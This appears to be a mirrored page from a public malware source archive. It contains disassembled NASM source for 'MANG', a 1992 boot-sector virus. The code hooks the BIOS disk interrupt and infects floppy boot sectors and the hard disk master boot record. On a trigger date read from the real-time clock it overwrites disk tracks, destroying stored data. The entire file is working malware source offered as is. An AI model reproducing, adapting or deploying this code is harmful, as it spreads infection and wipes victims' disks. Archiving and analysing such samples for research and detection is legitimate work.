mirror of
https://github.com/vxunderground/MalwareSourceCode.git
synced 2024-12-21 10:56:10 +00:00
253 lines
5.8 KiB
NASM
253 lines
5.8 KiB
NASM
|
|
PAGE 59,132
|
|
|
|
;ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ
|
|
;ÛÛ ÛÛ
|
|
;ÛÛ MANG ÛÛ
|
|
;ÛÛ ÛÛ
|
|
;ÛÛ Created: 30-Aug-92 ÛÛ
|
|
;ÛÛ Passes: 5 Analysis Options on: none ÛÛ
|
|
;ÛÛ ÛÛ
|
|
;ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ
|
|
|
|
data_0001e equ 4Ch
|
|
data_0002e equ 4Eh
|
|
main_ram_size_ equ 413h
|
|
data_0003e equ 7C00h ;*
|
|
data_0004e equ 7C05h ;*
|
|
data_0005e equ 7C0Ah ;*
|
|
data_0006e equ 7C0Ch ;*
|
|
data_0007e equ 7
|
|
data_0008e equ 8
|
|
data_0009e equ 0Ah
|
|
data_0014e equ 3BEh ;*
|
|
data_0015e equ 7C03h ;*
|
|
data_0016e equ 0B300h ;*
|
|
data_0017e equ 1BEh ;*
|
|
data_0018e equ 5000h ;*
|
|
|
|
seg_a segment byte public
|
|
assume cs:seg_a, ds:seg_a
|
|
|
|
|
|
org 100h
|
|
|
|
mang proc far
|
|
|
|
start:
|
|
jmp loc_0007
|
|
cmc ; Complement carry
|
|
add [bx+si-61h],al
|
|
add cl,ds:data_0016e
|
|
db 2Eh, 00h,0F0h, 1Eh, 50h, 0Ah
|
|
db 0D2h, 75h, 1Bh, 33h,0C0h, 8Eh
|
|
db 0D8h,0F6h, 06h, 3Fh, 04h, 01h
|
|
db 75h, 10h, 58h, 1Fh, 9Ch, 2Eh
|
|
db 0FFh, 1Eh, 0Ah, 00h, 9Ch,0E8h
|
|
db 0Bh, 00h, 9Dh,0CAh, 02h, 00h
|
|
db 58h, 1Fh, 2Eh,0FFh, 2Eh, 0Ah
|
|
db 00h
|
|
db 50h, 53h, 51h, 52h, 1Eh, 06h
|
|
db 56h, 57h, 0Eh, 1Fh, 0Eh, 07h
|
|
db 0BEh, 04h, 00h
|
|
loc_0002:
|
|
mov ax,201h
|
|
mov bx,200h
|
|
mov cx,1
|
|
xor dx,dx ; Zero register
|
|
pushf ; Push flags
|
|
call dword ptr ds:data_0009e
|
|
jnc loc_0003 ; Jump if carry=0
|
|
xor ax,ax ; Zero register
|
|
pushf ; Push flags
|
|
call dword ptr ds:data_0009e
|
|
dec si
|
|
jnz loc_0002 ; Jump if not zero
|
|
jmp short loc_0006
|
|
loc_0003:
|
|
xor si,si ; Zero register
|
|
cld ; Clear direction
|
|
lodsw ; String [si] to ax
|
|
cmp ax,[bx]
|
|
jne loc_0004 ; Jump if not equal
|
|
lodsw ; String [si] to ax
|
|
cmp ax,[bx+2]
|
|
je loc_0006 ; Jump if equal
|
|
loc_0004:
|
|
mov ax,301h
|
|
mov dh,1
|
|
mov cl,3
|
|
cmp byte ptr [bx+15h],0FDh
|
|
je loc_0005 ; Jump if equal
|
|
mov cl,0Eh
|
|
loc_0005:
|
|
mov ds:data_0008e,cx
|
|
pushf ; Push flags
|
|
call dword ptr ds:data_0009e
|
|
jc loc_0006 ; Jump if carry Set
|
|
mov si,data_0014e
|
|
mov di,1BEh
|
|
mov cx,21h
|
|
cld ; Clear direction
|
|
rep movsw ; Rep when cx >0 Mov [si] to es:[di]
|
|
mov ax,301h
|
|
xor bx,bx ; Zero register
|
|
mov cx,1
|
|
xor dx,dx ; Zero register
|
|
pushf ; Push flags
|
|
call dword ptr ds:data_0009e
|
|
loc_0006:
|
|
pop di
|
|
pop si
|
|
pop es
|
|
pop ds
|
|
pop dx
|
|
pop cx
|
|
pop bx
|
|
pop ax
|
|
retn
|
|
loc_0007:
|
|
xor ax,ax ; Zero register
|
|
mov ds,ax
|
|
cli ; Disable interrupts
|
|
mov ss,ax
|
|
mov ax,7C00h
|
|
mov sp,ax
|
|
sti ; Enable interrupts
|
|
push ds
|
|
push ax
|
|
mov ax,ds:data_0001e
|
|
mov ds:data_0005e,ax
|
|
mov ax,ds:data_0002e
|
|
mov ds:data_0006e,ax
|
|
mov ax,ds:main_ram_size_
|
|
dec ax
|
|
dec ax
|
|
mov ds:main_ram_size_,ax
|
|
mov cl,6
|
|
shl ax,cl ; Shift w/zeros fill
|
|
mov es,ax
|
|
mov ds:data_0004e,ax
|
|
mov ax,0Eh
|
|
mov ds:data_0001e,ax
|
|
mov ds:data_0002e,es
|
|
mov cx,1BEh
|
|
mov si,data_0003e
|
|
xor di,di ; Zero register
|
|
cld ; Clear direction
|
|
rep movsb ; Rep when cx >0 Mov [si] to es:[di]
|
|
jmp dword ptr cs:data_0015e
|
|
xor ax,ax ; Zero register
|
|
mov es,ax
|
|
int 13h ; Disk dl=drive a ah=func 00h
|
|
; reset disk, al=return status
|
|
push cs
|
|
pop ds
|
|
mov ax,201h
|
|
mov bx,data_0003e
|
|
mov cx,ds:data_0008e
|
|
cmp cx,7
|
|
jne loc_0008 ; Jump if not equal
|
|
mov dx,80h
|
|
int 13h ; Disk dl=drive 0 ah=func 02h
|
|
; read sectors to memory es:bx
|
|
; al=#,ch=cyl,cl=sectr,dh=head
|
|
jmp short loc_0009
|
|
loc_0008:
|
|
mov cx,ds:data_0008e
|
|
mov dx,100h
|
|
int 13h ; Disk dl=drive a ah=func 02h
|
|
; read sectors to memory es:bx
|
|
; al=#,ch=cyl,cl=sectr,dh=head
|
|
jc loc_0009 ; Jump if carry Set
|
|
push cs
|
|
pop es
|
|
mov ax,201h
|
|
mov bx,200h
|
|
mov cx,1
|
|
mov dx,80h
|
|
int 13h ; Disk dl=drive 0 ah=func 02h
|
|
; read sectors to memory es:bx
|
|
; al=#,ch=cyl,cl=sectr,dh=head
|
|
jc loc_0009 ; Jump if carry Set
|
|
xor si,si ; Zero register
|
|
cld ; Clear direction
|
|
lodsw ; String [si] to ax
|
|
cmp ax,[bx]
|
|
jne loc_0014 ; Jump if not equal
|
|
lodsw ; String [si] to ax
|
|
cmp ax,[bx+2]
|
|
jne loc_0014 ; Jump if not equal
|
|
loc_0009:
|
|
xor cx,cx ; Zero register
|
|
mov ah,4
|
|
int 1Ah ; Real time clock ah=func 04h
|
|
; get date cx=year, dx=mon/day
|
|
cmp dx,306h
|
|
je loc_0010 ; Jump if equal
|
|
retf ; Return far
|
|
loc_0010:
|
|
xor dx,dx ; Zero register
|
|
mov cx,1
|
|
loc_0011:
|
|
mov ax,309h
|
|
mov si,ds:data_0008e
|
|
cmp si,3
|
|
je loc_0012 ; Jump if equal
|
|
mov al,0Eh
|
|
cmp si,0Eh
|
|
je loc_0012 ; Jump if equal
|
|
mov dl,80h
|
|
mov byte ptr ds:data_0007e,4
|
|
mov al,11h
|
|
loc_0012:
|
|
mov bx,data_0018e
|
|
mov es,bx
|
|
int 13h ; Disk dl=drive 0 ah=func 03h
|
|
; write sectors from mem es:bx
|
|
; al=#,ch=cyl,cl=sectr,dh=head
|
|
jnc loc_0013 ; Jump if carry=0
|
|
xor ah,ah ; Zero register
|
|
int 13h ; Disk dl=drive 0 ah=func 00h
|
|
; reset disk, al=return status
|
|
loc_0013:
|
|
inc dh
|
|
cmp dh,ds:data_0007e
|
|
jb loc_0011 ; Jump if below
|
|
xor dh,dh ; Zero register
|
|
inc ch
|
|
jmp short loc_0011
|
|
loc_0014:
|
|
mov cx,7
|
|
mov ds:data_0008e,cx
|
|
mov ax,301h
|
|
mov dx,80h
|
|
int 13h ; Disk dl=drive 0 ah=func 03h
|
|
; write sectors from mem es:bx
|
|
; al=#,ch=cyl,cl=sectr,dh=head
|
|
jc loc_0009 ; Jump if carry Set
|
|
mov si,data_0014e
|
|
mov di,data_0017e
|
|
mov cx,21h
|
|
rep movsw ; Rep when cx >0 Mov [si] to es:[di]
|
|
mov ax,301h
|
|
xor bx,bx ; Zero register
|
|
inc cl
|
|
int 13h ; Disk dl=drive 0 ah=func 03h
|
|
; write sectors from mem es:bx
|
|
; al=#,ch=cyl,cl=sectr,dh=head
|
|
jmp short loc_0009
|
|
db 16 dup (0)
|
|
db 0Ah, 'Replace and press any key w'
|
|
db 'hen ready', 0Dh, 0Ah, 0
|
|
db 'IO SYSMSDOS SYS'
|
|
db 00h, 00h, 55h,0AAh
|
|
|
|
mang endp
|
|
|
|
seg_a ends
|
|
|
|
|
|
|
|
end start
|